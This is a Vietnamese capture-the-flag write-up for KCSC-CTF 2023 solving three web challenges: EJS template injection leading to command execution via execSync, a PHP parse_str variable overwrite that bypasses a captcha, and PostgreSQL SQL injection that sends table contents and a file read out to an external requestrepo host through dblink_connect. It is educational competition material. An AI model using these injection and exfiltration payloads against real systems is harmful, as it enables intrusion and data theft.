# KCSC-CTF 2023 --- ###### tags: `CTF` ## 1. Valentine (Stolen) **Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/KCSC_CTF_2023/valentine(stolen)** Link: https://valentine.kcsc.tf/ ### Description: - Đây là trang web dính lỗi SSTI, tác giả cho writeup của mội challenge tương tự đó là [đây](https://maoutis.github.io/writeups/Web%20Hacking/valentine/), nhưng thực hiện filter khác biệt một chút. ### Phân tích: ```javascript= let blacklist = ['<%', '%>', '[.', '.]', '(.', '.)', '{.', '.}', ',', '?', '!', '@', '#', '$', '%', '^', '&', '*', '-', '\\'] // safed keke blacklist.forEach(e => { if (tmpl.includes(e)) { res.status(400).send({ message: "don't hack me" }) } }) if (tmpl.includes('{{ name }}')) { tmpl = tmpl.replace(/\{\{/g, '<%=') tmpl = tmpl.replace(/\}\}/g, '%>') } else { res.status(400).send({ message: "{{ name }} required!" }) } ``` - Để bypass qua đoạn code trên thì khi nhập `template` mình phải bỏ qua một số ký tự trong blacklist và phải có `{{ name }}`. - Trong bài `valentine - hxp 2022` mà tác giả đã hint thì website sử dụng EJS quản lý các chế độ xem và các chế độ xem đó được lưu trữ bên trong `/view` với một uuid làm tên tệp. - Đọc writeup một lúc và làm theo thì mình tìm được một đoạn payload: ``` process.mainModule.require('child_process').execSync('echo pippo') ``` - Sửa lại một chút để bypass qua đoạn filter mình được payload: ``` {{ name }}{{ process.mainModule.require('child_process').execSync('echo pippo') }} ``` ![](https://hackmd.io/_uploads/ByyeGBmH3.png) - Thực thi thành công, flag trong `/readflag`, payload: ``` {{ name }}{{ process.mainModule.require('child_process').execSync('/readflag') }} ``` ![](https://hackmd.io/_uploads/HJPhGBQrh.png) Flag: `KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}` ## 2. Bypass Captcha **Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/KCSC_CTF_2023/bypass_captcha** Link: https://bypass-captcha.kcsc.tf/ ### Description: - Đây là trang web có chức năng nhập `password` và xác thực với một `captcha`. ### Phân tích: - Trong file `index.php` mình focus vào đoạn code: ```php= if ($data->success == 1 && $now - $challenge_ts <= 5) { if ($passwd === $PASSWD) { die($FLAG); } else { die('Wrong password!'); } } else { die('Verify captcha failed!'); } ``` - Để in ra được flag thì cần trải qua 2 bước: - Đầu tiên là `$data->success == 1` nghĩa là mình phải xác thực captcha thành công, sau đó `$now - $challenge_ts <= 5` là mình phải submit `$passwd` sau khi xác thực thành công dưới 5 giây. - Tiếp theo là `$passwd` nhập vào phải bằng `$PASSWD` trên server. Vấn đề là mình không biết phải tìm `$PASSWD` trên server như thế nào. - Đọc file `config.php`: ```php= <?php $SITE_VERIFY = getenv('SITE_VERIFY'); $PASSWD = getenv('PASSWD'); $FLAG = getenv('FLAG'); $SITE_KEY = getenv('SITE_KEY'); $SECRET_KEY = getenv('SECRET_KEY'); parse_str($_SERVER['QUERY_STRING']); error_reporting(0); ``` - Dòng `parse_str($_SERVER['QUERY_STRING']);` khá lạ. - Hàm `parse_str` sử dụng để phân tích một chuỗi truy vấn và gán các giá trị vào các biến. Nếu có thêm tham số thứ hai `$result` thì các giá trị phân tích từ chuỗi truy vấn sẽ được gán vào mảng `$result`. Nếu không có, kết quả sẽ được đưa ra trực tiếp thông qua các biến toàn cục. - Nghĩa là nếu mình truyền như này: ``` https://bypass-captcha.kcsc.tf/index.php?PASSWD=1 ``` Thì mình có thể replace và kiểm soát được biến `$PASSWD`. Tuy nhiên có một vấn đề là khi POST thì không truyền được `$PASSWD`. ![](https://hackmd.io/_uploads/Bks7GLmBh.png) Tại `form` đã được cấu hình sẵn là `/index.php`, vì vậy mình chỉ việc sửa code HTML lại thành `/index.php?PASSWD=1` và nhập `password` bằng 1 là có flag. Việc còn lại là tay mình có đủ to để chỉnh HTML và nhập đủ nhanh bypass captcha dưới 5 giây được hay không. Để tối ưu mình nhập `password` là 1. ![](https://hackmd.io/_uploads/B13CXIXr2.png) Tay mình hong to lắm nma cũng đủ :> Flag: `KCSC{Bypass_Turnstile_Cloudflare_1e22c0f8}` ## 3. PetShop Link chall: https://petshop.kcsc.tf/ ![](https://hackmd.io/_uploads/Hk39AjHSh.png) ![](https://hackmd.io/_uploads/SyAaAoSH2.png) - Mục tìm kiếm phụ kiện bị disable nên mình chỉnh lại HTML và tìm kiếm thì website sử dụng biến `/sp=` để tìm kiếm. ![](https://hackmd.io/_uploads/H1jdkhrS3.png) - Hint là voi nên mình nghĩ là trang web sử dụng PostgreSQL. Thử một vài lỗi SQL Injection và f5 lại thì xuất hiện lỗi ![](https://hackmd.io/_uploads/ryL17hHSn.png) - Vậy kết quả của truy vấn được trả về ở lần truy cập trang tiếp theo. - Mình thử `union` thì xác định được truy vấn trả về 2 cột ![](https://hackmd.io/_uploads/Hyu2Q2HH3.png) - Thử với table `pg_tables` đặc trưng của PostgreSQL thì không có lỗi gì cả, nên mình xác định được server dùng PostgreSQL ![](https://hackmd.io/_uploads/SJbH4nrr2.png) - Sau khi đọc writeup của 1 team làm được bài này thì mình xác định được là bài này làm theo hướng OOB - Trang https://omercitak.com/out-of-band-attacks-en/ demo OOB trong PostgreSQL bằng `dblink_connect`. Payload: ``` ?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT tablename FROM pg_tables LIMIT 1) , '.yl76gr1x.requestrepo.com user=a password=a '))-- - ``` - Giải thích một chút thì đoạn truy vấn sử dụng `CONCAT` để tạo ra một chuỗi kết nối đến cơ sở dữ liệu từ xa. Giá trị của `tablename` từ câu truy vấn con `(SELECT tablename FROM pg_tables LIMIT 1)` được sử dụng để đặt tên `host`. Phần còn lại của chuỗi là các thông tin khác như địa chỉ `host`, `user` và `password`. - Xác định được table `searches`: ![](https://hackmd.io/_uploads/rkEq92Br2.png) - Các table tiếp theo là table của db: ![](https://hackmd.io/_uploads/HJr3kpHSh.png) ![](https://hackmd.io/_uploads/r15T1prB3.png) - Focus vào table `searches` dump tên cột với payload: ``` ?sp=' UNION SELECT NULL, dblink_connect(CONCAT('host=',(SELECT column_name FROM information_schema.columns WHERE table_name = 'searches' LIMIT 1) , '.yl76gr1x.requestrepo.com user=a password=a '))-- - ``` - Xác định được 2 cột trong bảng `searches` là `id` và `search`: ![](https://hackmd.io/_uploads/rJjUxTHS3.png) ![](https://hackmd.io/_uploads/rkv2eTBHn.png) - Tiếp theo là trích xuất dữ liệu trong cột `search` bằng hàm `substring()`, payload: ``` ?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT substring(search,1,100) FROM searches) , '.yl76gr1x.requestrepo.com user=a password=a '))-- - ``` Lấy nhiều hơn số ký tự của dữ liệu trong cột `search` cũng không sao nên mình để là 100 ký tự. ![](https://hackmd.io/_uploads/HJgwV6HSn.png) - Giá trị `L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhL3NxbE91dE9mQmFuZA` là dạng base64, decode ra `/var/lib/postgresql/data/sqlOutOfBand`. Một đường dẫn file, khả năng là file binary nên mình thử đọc bằng `pg_read_binary_file`, payload: ``` ?sp=' UNION SELECT null, dblink_connect(CONCAT('host=',(SELECT pg_read_binary_file('/var/lib/postgresql/data/sqlOutOfBand')) , '.yl76gr1x.requestrepo.com user=a password=a '))-- - ``` ![](https://hackmd.io/_uploads/H1k4DTSH3.png) - Data: `x4b4353437b596561685f42616e5f4c616d5f44756f635f526f692121217d0a` - Đem đi decode hexadecimal: ![](https://hackmd.io/_uploads/Sy3TD6HBn.png) Flag: `KCSC{Yeah_Ban_Lam_Duoc_Roi!!!}`